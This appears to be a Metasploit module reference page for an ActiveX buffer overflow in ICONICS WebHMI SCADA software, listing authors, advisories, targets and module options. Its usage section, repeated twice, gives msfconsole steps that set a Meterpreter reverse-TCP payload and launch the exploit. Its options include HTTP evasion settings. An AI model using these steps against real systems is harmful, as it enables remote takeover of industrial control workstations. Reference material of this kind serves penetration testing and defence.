ICONICS WebHMI ActiveX Buffer Overflow
This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control. By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll fails to do any proper bounds checking before this input is copied onto the stack, which causes a buffer overflow, and results arbitrary code execution under the context of the user.
Exploit Rank
- Good
Exploit Authors
- Scoot Bell < scott.bell [at] security-assessment.com >
- Blair Strang < blair.strang [at] security-assessment.com >
- sinn3r < sinn3r [at] metasploit.com >
Vulnerability References
- OSVDB-72135
- http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf
- EDB-17240
- http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-080-02.pdf
Exploit Targets
- 0 - Automatic (default)
- 1 - IE 6/7/8 on Windows XP SP3
- 2 - IE 7 on Windows Vista
Exploit Development
Similar Exploit Modules
- exploit/windows/scada/citect_scada_odbc
- exploit/windows/scada/codesys_web_server
- exploit/windows/scada/daq_factory_bof
- exploit/windows/scada/factorylink_csservice
- exploit/windows/scada/factorylink_vrn_09
- exploit/windows/scada/iconics_genbroker
- exploit/windows/scada/igss9_igssdataserver_listall
- exploit/windows/scada/igss9_igssdataserver_rename
- exploit/windows/scada/igss9_misc
- exploit/windows/scada/moxa_mdmtool
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/iconics_webhmi_setactivexguid
msf exploit(iconics_webhmi_setactivexguid) > show payloads
msf exploit(iconics_webhmi_setactivexguid) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(iconics_webhmi_setactivexguid) > set LHOST [MY IP ADDRESS]
msf exploit(iconics_webhmi_setactivexguid) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/iconics_webhmi_setactivexguid
msf exploit(iconics_webhmi_setactivexguid) > show payloads
msf exploit(iconics_webhmi_setactivexguid) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(iconics_webhmi_setactivexguid) > set LHOST [MY IP ADDRESS]
msf exploit(iconics_webhmi_setactivexguid) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| URIPATH | The URI to use for this exploit (default is random) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| HTML::base64 | Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection) |
| HTML::javascript::escape | Enable HTML obfuscation via HTML escaping (number of iterations) |
| HTML::unicode | Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be) |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| HTTP::server_name | Configures the Server header of all outgoing replies |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
